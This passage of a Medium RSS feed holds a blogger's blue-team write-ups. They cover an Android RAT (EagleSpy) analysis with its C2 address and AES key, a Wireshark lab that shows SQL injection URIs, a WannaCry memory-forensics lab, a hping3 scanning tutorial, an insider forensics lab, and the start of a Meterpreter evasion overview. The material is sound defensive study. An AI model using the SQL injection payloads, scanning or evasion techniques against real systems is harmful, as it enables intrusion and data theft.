src="https://cdn-images-1.medium.com/max/1024/1*vHAJ1E2NeMbEDeBzz_RgaA.png" /></figure><h4>Question 8</h4><p><strong>What are the two permissions requested dynamically by the sample to install the next payload (separated by a comma)</strong></p><pre>WRITE_EXTERNAL_STORAGE, READ_EXTERNAL_STORAGE<br>To install the next payload, the malware dynamically requests <br> (at runtime) the storage permissions:<br><br>- `WRITE_EXTERNAL_STORAGE` — allows the app to **write** files to <br>   external/shared storage (used to save the downloaded APK, <br>  e.g. `childapp.apk`, to the device).<br>- `READ_EXTERNAL_STORAGE` — allows the app to **read** files from <br>  external storage (used to read/verify the saved APK before launching <br>   the installer).</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q8zNbNIOlqwSj2UXpWqvDg.png" /></figure><h4>Question 10</h4><p>What is the SHA256 of the next payload?</p><pre>799a3d9663bb9c26c3cfe68ed2c8e35c657ac3edf969825dc83f2c5812f96429<br><br>┌──(kali㉿kali)-[~/blue/malops]<br>└─$ sha256sum childapp.apk <br>799a3d9663bb9c26c3cfe68ed2c8e35c657ac3edf969825dc83f2c5812f96429  childapp.apk<br><br>- The **SHA256 hash is a unique fingerprint** of the file. Any change to <br> even one byte produces a completely different hash.<br>- Analysts use it to:<br>  - **Share the sample** across teams and intelligence platforms (VirusTotal, <br>   MalwareBazaar, MISP) without sharing the file itself.<br>  - **Detect the malware** on other systems (hash-based detection / IOC).<br>  - **Verify integrity** — confirm the extracted payload matches the one <br>   deployed by the C2.<br>- Because hash-based detection is easily bypassed (repacking), it should <br>  always be used together with behavioral and static indicators.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I-bvsKLBJ5rJOfjPlETE1Q.png" /></figure><p><strong>Question 11</strong></p><p>The second payload acts as a legitimate government application. What is the name of the Trojanized application?</p><pre>VNeID<br>The second-stage payload is a **trojanized copy of VNeID** — <br>a legitimate Vietnamese government mobile application for digital <br>identification (the Vietnamese &quot;National Digital Identity&quot; app, <br>issued by the Ministry of Public Security, used for e-identification, <br>digital signatures, public services, etc.).</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vSt84AgyYNgOVuW9LZnibQ.png" /></figure><p><strong>Question 12</strong></p><p>To avoid losing access to the compromised device, the malware establishes persistence on it. What is the name of the permission used for persistence?</p><pre>RECEIVE_BOOT_COMPLETED<br>Persistence is the malware&#39;s ability to **survive a device reboot**. <br>EagleSpy does this by declaring and registering a Broadcast Receiver <br>for the `RECEIVE_BOOT_COMPLETED` permission:<br><br>```xml<br>&lt;uses-permission android:name=&quot;android.permission.RECEIVE_BOOT_COMPLETED&quot; /&gt;<br><br>&lt;receiver android:name=&quot;.BootReceiver&quot; android:enabled=&quot;true&quot;&gt;<br>    &lt;intent-filter&gt;<br>        &lt;action android:name=&quot;android.intent.action.BOOT_COMPLETED&quot; /&gt;<br>    &lt;/intent-filter&gt;<br>&lt;/receiver&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cpqWpK3YDWlLfFh9hFnYOw.png" /></figure><p>Question 13</p><p>After identifying the method that establishes the C2 connection, what is the decoded IP address and port used by this malware?</p><pre>103.253.23.8:7773<br>After identifying the method that establishes the C2 (Command &amp; Control) c<br>onnection, the analyst found that the server address was <br>**not stored in plaintext** — it was encoded in **Base64**.<br><br>Decoding the Base64-encoded string revealed:<br><br>```<br>IP:   103.253.23.8<br>Port: 7773</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qpELfbWBH_w5wXh6v8pmNg.png" /></figure><p>Since, it was in the base64 format after decoding it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vHlLUgORkn2DfHoJy9o7HA.png" /></figure><p>Question 14</p><p>What is the decoded value from the ConnectionKey?</p><pre>EagleSpy<br>The sample uses a `ConnectionKey` value during C2 communication, and <br>like the C2 address, it was stored in an encoded form. After decoding <br>(Base64), the value is:<br><br>```<br>ConnectionKey (decoded) = &quot;Eaglespy&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e-N58vUaY3hC7b5Y_wkCaA.png" /></figure><p><strong>Question 15</strong></p><p>What is the secret key used to encrypt and decrypt the JSON data?</p><pre>93b89a273c1fbe59073af7bd9adfa6c0<br>The key format (32 hex characters = 16 bytes = 128 bits) is consistent <br>with **AES-128** (the most common choice in Android RATs, <br>including the SpyNote lineage), though it could also be used with other symmetric algorithms (e.g., Blowfish, which was popular in older SpyNote builds).<br>- The key is **hardcoded in the application** (stored in the DEX code, o<br>ften in an encoded/obfuscated form that must be decoded first).<br>- The analyst typically:<br>  1. Locates the encryption routine (e.g., calls to `Cipher.getInstance(&quot;AES&quot;)`).<br>  2. Extracts the key material from the code or strings.<br>  3. Confirms it by decrypting a captured C2 JSON message and validating <br>the plaintext structure.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YamXvUeVi7QikXiZ-OzlZA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9b9fdaa60624" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyberDefenders -Web Investigation Lab]]></title>
            <link>https://medium.com/@youfanlimboo/cyberdefenders-web-investigation-lab-5996b7ec2a6e?source=rss-15e157962e17------2</link>
            <guid isPermaLink="false">https://medium.com/p/5996b7ec2a6e</guid>
            <dc:creator><![CDATA[Yufan Limbu]]></dc:creator>
            <pubDate>Wed, 15 Apr 2026 03:52:49 GMT</pubDate>
            <atom:updated>2026-04-15T03:52:49.829Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*6ZKUzfCQ6uvXxz0DYYaaAQ.jpeg" /></figure><p>Examine network traffic with Wireshark to investigate web server compromise, identify SQL injection, extract attacker credentials, and detect uploaded malware.</p><p><strong>Category:</strong></p><p><a href="https://cyberdefenders.org/blueteam-ctf-challenges/?categories=network-forensics">Network Forensics</a></p><p><strong>Tactics:</strong></p><p><a href="https://cyberdefenders.org/blueteam-ctf-challenges/?tactics=initial-access">Initial Access</a>, <a href="https://cyberdefenders.org/blueteam-ctf-challenges/?tactics=persistence">Persistence</a>, <a href="https://cyberdefenders.org/blueteam-ctf-challenges/?tactics=command-and-control">Command and Control</a></p><p><strong>Tools:</strong></p><p><a href="https://cyberdefenders.org/blueteam-ctf-challenges/?tools=wireshark">Wireshark</a>, <a href="https://cyberdefenders.org/blueteam-ctf-challenges/?tools=network-miner">Network Miner</a></p><p><strong>Scenario</strong></p><p>You are a cybersecurity analyst working in the Security Operations Center (SOC) of BookWorld, an expansive online bookstore renowned for its vast selection of literature. BookWorld prides itself on providing a seamless and secure shopping experience for book enthusiasts around the globe. Recently, you’ve been tasked with reinforcing the company’s cybersecurity posture, monitoring network traffic, and ensuring that the digital environment remains safe from threats.<br>Late one evening, an automated alert is triggered by an unusual spike in database queries and server resource usage, indicating potential malicious activity. This anomaly raises concerns about the integrity of BookWorld’s customer data and internal systems, prompting an immediate and thorough investigation.<br>As the lead analyst in this case, you are required to analyze the network traffic to uncover the nature of the suspicious activity. Your objectives include identifying the attack vector, assessing the scope of any potential data breach, and determining if the attacker gained further access to BookWorld’s internal systems.</p><p>Question 1) By knowing the attacker’s IP, we can analyze all logs and actions related to that IP and determine the extent of the attack, the duration of the attack, and the techniques used. Can you provide the attacker’s IP?</p><pre>111.224.250.131<br>Wireshark display filter<br>statistics &gt; endpoint &gt; IPV4</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i9J7QLSviUo_V4jeLh1Jxg.png" /></figure><p>Question 2)</p><p>If the geographical origin of an IP address is known to be from a region that has no business or expected traffic with our network, this can be an indicator of a targeted attack. Can you determine the origin city of the attacker?</p><pre>Shijiazhuang</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i9J7QLSviUo_V4jeLh1Jxg.png" /></figure><p>Question 3)</p><p>Identifying the exploited script allows security teams to understand exactly which vulnerability was used in the attack. This knowledge is critical for finding the appropriate patch or workaround to close the security gap and prevent future exploitation. Can you provide the vulnerable PHP script name?</p><pre>search.php<br>WireShark Display filter<br>http.request.uri.path == &quot;/search.php&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lXA0EyJ3AcUbbMTXvzQ-cw.png" /></figure><p>Question 4)</p><p>Establishing the timeline of an attack, starting from the initial exploitation attempt, what is the complete request URI of the first SQLi attempt by the attacker?</p><pre>/search.php?search=book and 1=1; -- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fTLdfzx03Vb0BelWZETbFA.png" /></figure><p>decoding the initial payload with urldecode</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tdsEiAzup5ZL2Or3NYzfuQ.png" /></figure><p>Question 5)</p><p>Can you provide the complete request URI that was used to read the web server’s available databases?</p><pre>/search.php?search=book&#39; UNION ALL SELECT NULL,CONCAT(0x7178766271,JSON_ARRAYAGG(CONCAT_WS(0x7a76676a636b,schema_name)),0x7176706a71) FROM INFORMATION_SCHEMA.SCHEMATA-- -<br>WireShark <br>tcp stream 151</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tdsEiAzup5ZL2Or3NYzfuQ.png" /></figure><p>decoding the payload</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u9P1HIHqo7bDHxG1wTfkIA.png" /></figure><p>Question 6) Assessing the impact of the breach and data access is crucial, including the potential harm to the organization’s reputation. What’s the table name containing the website users data?</p><pre>customers<br>WireShark Filters<br>tcp stream eq 154</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fc4y9AgKv-d8HnXbAEi0tg.png" /></figure><p>Question 7)</p><p>The website directories hidden from the public could serve as an unauthorized access point or contain sensitive functionalities not intended for public access. Can you provide the name of the directory discovered by the attacker?</p><pre>/admin/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HJRCEyaY34hwowX1JwN61Q.png" /></figure><p>Question 8)</p><p>Knowing which credentials were used allows us to determine the extent of account compromise. What are the credentials used by the attacker for logging in?</p><pre>admin:admin123!</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aK1zabxhZgzP2PyjQMftVA.png" /></figure><p>Question 9)</p><p>We need to determine if the attacker gained further access or control of our web server. What’s the name of the malicious script uploaded by the attacker?</p><pre>NVri2vhp.php<br>Wireshark filter dusplay<br>mime_multipart.header.content-type == &quot;application/x-php&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tm93KgFMmj9Pzz8mL4uATA.png" /></figure><p>I successfully completed Web Investigation Blue Team Lab at <a href="http://twitter.com/CyberDefenders">@CyberDefenders</a>!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dQ7cAMB_HUUMz9gjJKo6Ng.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5996b7ec2a6e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Blue Team Labs online | | Memory Analysis — Ransomware]]></title>
            <link>https://medium.com/@youfanlimboo/blue-team-labs-online-memory-analysis-ransomware-cd9fc5627967?source=rss-15e157962e17------2</link>
            <guid isPermaLink="false">https://medium.com/p/cd9fc5627967</guid>
            <category><![CDATA[blueteamlabsonline]]></category>
            <dc:creator><![CDATA[Yufan Limbu]]></dc:creator>
            <pubDate>Thu, 19 Dec 2024 16:33:33 GMT</pubDate>
            <atom:updated>2024-12-19T16:33:33.398Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Blue Team Labs online | | Memory Analysis — Ransomware</strong></h3><p>URL Link: <a href="https://blueteamlabs.online/home/challenge/memory-analysis-ransomware-7da6c9244d">https://blueteamlabs.online/home/challenge/memory-analysis-ransomware-7da6c9244d</a></p><p>######################</p><p>Scenario</p><p>The Account Executive called the SOC earlier and sounds very frustrated and angry. He stated he can’t access any files on his computer and keeps receiving a pop-up stating that his files have been encrypted. You disconnected the computer from the network and extracted the memory dump of his machine and started analyzing it with Volatility. Continue your investigation to uncover how the ransomware works and how to stop it!</p><p><strong>Tools:</strong></p><p><a href="https://github.com/volatilityfoundation/volatility"><strong>Volatility</strong></a></p><h3>Challenge Submission</h3><p>Run “vol.py -f infected.vmem — profile=Win7SP1x86 psscan” that will list all processes. What is the name of the suspicious process?</p><p><strong>psscan:</strong> This can find processes that previously terminated (inactive) and processes that have been hidden or unlinked by a rootkit.</p><p>Since we can see other files have extensions on them, this one looks different from the others. And also same process name with different process id.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ipr8_CFkOMvd83EsTfgrxQ.png" /><figcaption>Suspicious Process</figcaption></figure><p>2) What is the initial malicious executable that created this process?</p><p>Since a suspicious process is a child process, it requires a parent process to execute on a machine. The parent process id <strong>(2732)</strong> is shown properly in the screenshot below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RlfaifcUXUnaJpc5InFh7w.png" /><figcaption>Suspicous Parent Process</figcaption></figure><p>3) What is the initial malicious executable that created this process?</p><p>As we have already noticed, the suspicious process is a child process linked to a parent process named <strong>or4qtcKT.exe</strong>. This file was first executed on the machine and later created two suspicious child processes, which infected the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3sN2xFZZiC6tBg9WR7RzKQ.png" /><figcaption>Initial malicious executable</figcaption></figure><p>4) If you drill down on the suspicious PID (vol.py -f infected.vmem — profile=Win7SP1x86 psscan | grep (PIDhere)), find the process used to delete files</p><p>“We have already noticed that <strong>or4qtckT.exe</strong> is a suspicious parent process associated with a child process. We can identify the process used to delete files by using the grep command with the -i option, which ensures that characters differing only in case are treated as matching and also adding suspicious parent process id on it. From this, we identified <strong>taskdl.exe</strong> as a suspicious process used to delete files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wO_VTVoDyb5FfZydQwFCCg.png" /><figcaption>suspicious process used to delete files.</figcaption></figure><p>5) Find the path where the malicious file was first executed</p><p>“We have already identified that <strong>or4qtckT.exe</strong> is a suspicious process, and it has already infected the machine. However, it also requires a path to execute on the infected machine. Here, we need to find the path from which this suspicious process infected the machine. Since we are using Volatility, which has a plugin called cmdline to extract the command-line arguments of processes from a memory dump, these arguments can provide insights into how the process was executed</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*IuKdhfc8IAgGpbqo0pgWSQ.png" /><figcaption>Malicious file executed on the path</figcaption></figure><p>6) Can you identify what ransomware it is? (Do your research!)</p><p>Our goal here is to identify and figure out which ransomware we are investigating. As defenders, we know that OSINT (Open Source Intelligence) is our best ally in helping to determine the ransomware we are dealing with. A simple Google search by typing the suspicious process name ‘or4qtckT.exe ransomware’ can provide useful information. In this case, we noticed that <strong>any.run</strong> has tagged this process as ransomware. Additionally, we observed that it is associated with the <strong>WannaCry ransomware</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*rBw-yhZSOTINdlEJLWULFg.png" /><figcaption>Wannacry Ransomware</figcaption></figure><p>7) What is the filename for the file with the ransomware public key that was used to encrypt the private key? (.eky extension)</p><p>Since we have identified that ransomware has infected the machine and we are investigating it, we know that ransomware not only disrupts a machine by encrypting all the files but also requires a public key that is used to encrypt the private key. As we are using Volatility for investigating memory forensics on the machine infected by ransomware, and since Volatility has a filescan plugin to scan the memory dump for file objects that exist in a process&#39;s open file table or within the system&#39;s file cache, we utilized the grep command with the -i option, which ensures that characters differing only in case are treated as matching, and also added a file extension filter. Through this, we identified the ransomware&#39;s public key, named &quot;00000000.eky,&quot; which was used to encrypt the private key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/1*UAIcpnKFfkW-eAzrwdGQFw.png" /><figcaption>Ransomware public key file name</figcaption></figure><p><strong>############ Happy Ending ############</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9jkw1VBgmR5C4aNrf1y0Mg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cd9fc5627967" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Using Hping3 to scanning a network]]></title>
            <link>https://medium.com/@youfanlimboo/using-hping3-to-scanning-a-network-7b9fc2cb7437?source=rss-15e157962e17------2</link>
            <guid isPermaLink="false">https://medium.com/p/7b9fc2cb7437</guid>
            <dc:creator><![CDATA[Yufan Limbu]]></dc:creator>
            <pubDate>Thu, 12 Dec 2024 09:09:43 GMT</pubDate>
            <atom:updated>2024-12-12T09:09:43.053Z</atom:updated>
            <content:encoded><![CDATA[<p>Using Hping3 to Scan a Network</p><p>I am writing a blog about how you can scan a network using hping3. Hping3 is a network tool that can send custom ICMP/UDP/TCP packets and display target replies, similar to how ping works with ICMP replies. It handles fragmentation and arbitrary packet body and size and can be used to transfer files under supported protocols. With hping3, you can test firewall rules, perform (spoofed) port scanning, test network performance using different protocols, perform path MTU discovery, carry out traceroute-like actions under different protocols, fingerprint remote operating systems, audit TCP/IP stacks, and more. Hping3 is scriptable using the Tcl language.</p><p>Before using this tool, you must set up a testing environment where you can safely test network scanning. In my opinion, a virtual environment is the best platform for testing network scanning.</p><p>You will need virtualization software, and at least 8GB of RAM to run two virtual machines for network scanning. You can download the virtualization software from the following official websites:</p><p><a href="https://www.virtualbox.org/">Oracle VirtualBox</a></p><p>VMware</p><p><a href="https://www.vmware.com/content/vmware/vmware-published-sites/us/products/workstation-player/workstation-player-evaluation.html.html">Download VMware Workstation Player | VMware</a></p><p>Here’s the corrected version of your text:</p><p>From the two links above, you can download free virtualization software and set it up on your local machine. There are plenty of videos and articles available to guide you through the process of installing virtualization software on your local machine. Now, let’s get back on topic.</p><p>As I mentioned earlier, you need at least two virtual machines. Why? Because you need one attacking machine and one victim machine for this purpose. You can use any attacking machine, such as Kali Linux (based on the Debian distribution and maintained by Offensive Security), Parrot OS, or BlackArch Linux. For this purpose, I am using Kali Linux, offered by Offensive Security.</p><p>For the victim machine, I am using a Windows 2012 R2 server and a Metasploitable 2 machine.</p><p><strong>Installing Hping3 in a kali linux</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*BEbSBLLF4yLLE57vkHmUYg.png" /></figure><p>After successfully installing hping3 on a kali linux. Then It times to make hands on dirty means we are going to use this tools.</p><p>Before using this tools, what are the options are available on a tools? we can known by below picture</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/1*ceuoMfeGrxWn_P5IqrACEQ.png" /><figcaption>Fig: hping3 option</figcaption></figure><p>Now It times to use this tools, and scan a victim machine.</p><p><strong>SYN scan with hping3</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*uF1F-C6W4HEpub45cZ38vw.png" /><figcaption>Fig: Scanning Syn with Hping3</figcaption></figure><p>You can see we have successfully scan syn with the help of hping3. hping3 -S options will send syn flag to a target environment, -p means port you wanna scan -c means packet count. It means how many packet does a user wanna send to a target environment. If you see look at that flags=RA (Reset and Acknowledgement) which means the packet reply from a target environment indicates that a port is closed.</p><p><strong>Port Scanning with hping3</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*NlS4lb81_B5AALI3JTizPA.png" /></figure><p>You can see, the result from above picture. Hping3 -S means sending SYN packets to the target environment which is similar to nmap -sS scan. And there are 12 port are open in a target environment. — scan options defined a user how many port you wanna scan in a target environment. And you can scan from 1–65535 port. And flags=SA indicates that port is open.</p><p><strong>Sending data size with hping3</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/1*Bh6g1K2INNWnTvSIm37qzg.png" /><figcaption>Fig: Sending data size with hping3</figcaption></figure><p>Here hping3 -d options means how much a data size length an attacker can send to a victim machine.</p><p>We can analyze in a Wireshark, Wireshark is an open-source network sniffing tool. Wireshark can intercept a network traffic in an network. So why I am using a wireshark, it to better understand how a data size has been flowing from a target attack to a victim machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AMuw0xTjVW4gKxRaS9z2Dw.png" /><figcaption>Fig: Analyzing a data size with a wireshark</figcaption></figure><p>As you can see in a Wireshark. If you look at the data (64 bytes) below a Transmission Control Protocol. You can see data (64 bytes) which indicates that 64 bytes of data size has been send from 10.0.10.56 from an attacker to 10.0.10.9 victim machine. And You can see red color indicating [RST, ACK] flag mean port has been closed.</p><p><strong>Sending a fragment with hping3</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*8WQxcQGeUoGzkLviFVHB8Q.png" /><figcaption>Fig: Sending a fragment packets with hping3</figcaption></figure><p>Sending a fragment packet with hping3. please remember that hping3 has capable of sending fragment packet with hping3. And fragment packet has capable of bypassing firewall. But modern IDS system can detect this packet like (snort). If a network administration has set up policy and Access control list in a firewall then a it can easy detect by firewall.</p><p><strong>conclusion</strong></p><p>Hping3 is a powerful and versatile network tool that offers much more than just basic network scanning. With its ability to craft custom TCP, UDP, and ICMP packets, it allows for in-depth testing of firewall rules, port scanning, network performance analysis, and even the fingerprinting of remote operating systems. Whether you’re testing network security, performing path MTU discovery, or carrying out traceroute-like actions under different protocols, hping3 provides a flexible solution.</p><p>By using hping3 in a controlled testing environment, such as virtual machines, you can safely explore its capabilities without risking your production network. As with any network testing tool, it’s essential to use hping3 responsibly and ethically, ensuring that it’s only used in authorized environments.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7b9fc2cb7437" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cyberdefenders — Insider Labs]]></title>
            <link>https://medium.com/@youfanlimboo/cyberdefenders-e123a7beeb8f?source=rss-15e157962e17------2</link>
            <guid isPermaLink="false">https://medium.com/p/e123a7beeb8f</guid>
            <category><![CDATA[cyberdefender]]></category>
            <dc:creator><![CDATA[Yufan Limbu]]></dc:creator>
            <pubDate>Mon, 16 Sep 2024 09:12:35 GMT</pubDate>
            <atom:updated>2024-09-16T11:27:03.756Z</atom:updated>
            <content:encoded><![CDATA[<p>URL Link: <a href="https://cyberdefenders.org/blueteam-ctf-challenges/insider/">https://cyberdefenders.org/blueteam-ctf-challenges/insider/</a></p><p>Category: <a href="https://cyberdefenders.org/blueteam-ctf-challenges/?categories=endpoint-forensics">Endpoint Forensics</a></p><p>Tactics: <a href="https://cyberdefenders.org/blueteam-ctf-challenges/?tactics=execution">Execution</a> | <a href="https://cyberdefenders.org/blueteam-ctf-challenges/?tactics=credential-access">Credential | Access</a> | <a href="https://cyberdefenders.org/blueteam-ctf-challenges/?tactics=collection">Collection</a><a href="https://cyberdefenders.org/blueteam-ctf-challenges/?tactics=impact">Impact</a></p><p>#################</p><p>Scenario:</p><p>After Karen started working for ‘TAAUSAI,’ she began to do some illegal activities inside the company. ‘TAAUSAI’ hired you as a soc analyst to kick off an investigation on this case.</p><p>You acquired a disk image and found that Karen uses Linux OS on her machine. Analyze the disk image of Karen’s computer and answer the provided questions.</p><p>Tools:</p><p><a href="https://accessdata.com/product-download/ftk-imager-version-4-5">FTK Imager</a></p><p>Reference Link for Tools:</p><ul><li><a href="https://www.hackingloops.com/forensics-toolkit/">https://www.hackingloops.com/forensics-toolkit/</a></li></ul><ol><li><strong>What distribution of Linux is being used on this machine?</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LeHsttuwN4W98kJplWi3Yg.png" /><figcaption>Linux distribution</figcaption></figure><p><strong>2. What is the MD5 hash of the apache access.log?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9DB5nHAufBYdEbBS38onbw.png" /><figcaption>Hash Value of access.log</figcaption></figure><p><strong>3. it is believed that a credential dumping tool was downloaded? What is the file name of the download?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tXhDaHduymHc82Idb78piA.png" /><figcaption>Credentials dumping tool</figcaption></figure><p><strong>4. There was a super-secret file created. What is the absolute path?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lazq0tZsgY6QDt7DV6oNtg.png" /><figcaption>File location of SuperSecretfile.txt</figcaption></figure><p><strong>5. What program used didyouthinkwedmakeiteasy.jpg during execution?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QMd3HAETYTr-3dKz-lXk0g.png" /><figcaption>Program used by didyouthinkwedmakeiteasy.jpg</figcaption></figure><p><strong>6. What is the third goal from the checklist Karen created?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rWnBF4y9aSX6kYrx2sJc-Q.png" /><figcaption>Third goal from karen checklist</figcaption></figure><p><strong>7. How many times was apache run?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hhhv6vx31_uaj_XKfAIz-Q.png" /><figcaption>No apache server was execute</figcaption></figure><p><strong>8. It is believed this machine was used to attack another. What file proves this?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mNPSbgYyB9QjVzG3QGB7bg.png" /><figcaption>Png image indicates that windows 7 has been attack</figcaption></figure><p><strong>9. Within the Documents file path, it is believed that Karen was taunting a fellow computer expert through a bash script. Who was Karen taunting?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J2-L2u7Pkwx7vdRnM24v3g.png" /><figcaption>firstscript_fixed bash script indicates karen was taunting</figcaption></figure><p><strong>10. A user su’d to root at 11:26 multiple times. Who was it?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pWkTkANl8ekrNx5uejp-Rw.png" /><figcaption>Sudo root was used to execute msfconsole</figcaption></figure><p><strong>11. Based on the bash history, what is the current working directory?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WsW2DedbwFygXI1sV_oAcg.png" /><figcaption>Karen was working directory</figcaption></figure><p><strong>############ Happy Ending ############</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*3wnGgyDEPppTIapp0VliaA.png" /></figure><p>I successfully completed the challenges. It was a great learning experience investigating Linux machines. This was a easy challenge, and it took me 2 hours to solve the box. CyberDefender has tons of challenges focused on blue team operations, making it a fantastic learning platform for blue teamers.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e123a7beeb8f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Metasploit: Meterpreter]]></title>
            <link>https://medium.com/@youfanlimboo/metasploit-meterpreter-3cb1f9a8af6b?source=rss-15e157962e17------2</link>
            <guid isPermaLink="false">https://medium.com/p/3cb1f9a8af6b</guid>
            <dc:creator><![CDATA[Yufan Limbu]]></dc:creator>
            <pubDate>Thu, 29 Sep 2022 15:03:04 GMT</pubDate>
            <atom:updated>2022-09-29T15:03:04.869Z</atom:updated>
            <content:encoded><![CDATA[<p>Task 1 Introduction to Meterpreter</p><p>Meterpreter is a Metasploit payload that supports the penetration testing process with many valuable components. Meterpreter will run on the target system and act as an agent within a command and control architecture. You will interact with the target operating system and files and use Meterpreter’s specialized commands.</p><p>Meterpreter has many versions which will provide different functionalities based on the target system.</p><p><strong>How does Meterpreter work?</strong></p><p>Meterpreter runs on the target system but is not installed on it. It runs in memory and does not write itself to the disk on the target. This feature aims to avoid being detected during antivirus scans. By default, most antivirus software will scan new files on the disk (e.g. when you download a file from the internet) Meterpreter runs in memory (RAM — Random Access Memory) to avoid having a file that has to be written to the disk on the target system (e.g. meterpreter.exe). This way, Meterpreter will be seen as a process and not have a file on the target system.</p><p>Meterpreter also aims to avoid being detected by network-based IPS (Intrusion Prevention System) and IDS (Intrusion Detection System) solutions by using encrypted communication with the server where Metasploit runs (typically your attacking machine). If the target organization does not decrypt and inspect encrypted traffic (e.g. HTTPS) coming to and going out of the local network, IPS and IDS solutions will not be able to detect its activities.</p><p>While Meterpreter is recognized by major antivirus software, this feature provides some degree of stealth.</p><p>The example below shows a target Windows machine exploited using the MS17–010 vulnerability. You will see Meterpreter is running with a process ID (PID) of 1304; this PID will be different in your case. We have used the getpid command, which returns the process ID with which Meterpreter is running. The process ID (or process identifier) is used by operating systems to identify running processes. All processes running in Linux or Windows will have a unique ID number; this number is used to interact with the process when the need arises (e.g. if it needs to be stopped).</p><p>Getpid</p><pre>meterpreter &gt; getpid<br>Current pid: 1304</pre><p>If we list processes running on the target system using the</p><pre>ps</pre><p>command, we see PID 1304 is spoolsv.exe and not Meterpreter.exe, as one might expect.</p><p>The ps command</p><pre>meterpreter &gt; ps</pre><pre>Process List<br>============</pre><pre> PID   PPID  Name                  Arch  Session  User                          Path<br> ---   ----  ----                  ----  -------  ----                          ----<br> 0     0     [System Process]<br> 4     0     System                x64   0<br> 396   644   LogonUI.exe           x64   1        NT AUTHORITY\\SYSTEM           C:\\Windows\\system32\\LogonUI.exe<br> 416   4     smss.exe              x64   0        NT AUTHORITY\\SYSTEM           \\SystemRoot\\System32\\smss.exe<br> 428   692   svchost.exe           x64   0        NT AUTHORITY\\SYSTEM<br> 548   540   csrss.exe             x64   0        NT AUTHORITY\\SYSTEM           C:\\Windows\\system32\\csrss.exe<br> 596   540   wininit.exe           x64   0        NT AUTHORITY\\SYSTEM           C:\\Windows\\system32\\wininit.exe<br> 604   588   csrss.exe             x64   1        NT AUTHORITY\\SYSTEM           C:\\Windows\\system32\\csrss.exe<br> 644   588   winlogon.exe          x64   1        NT AUTHORITY\\SYSTEM           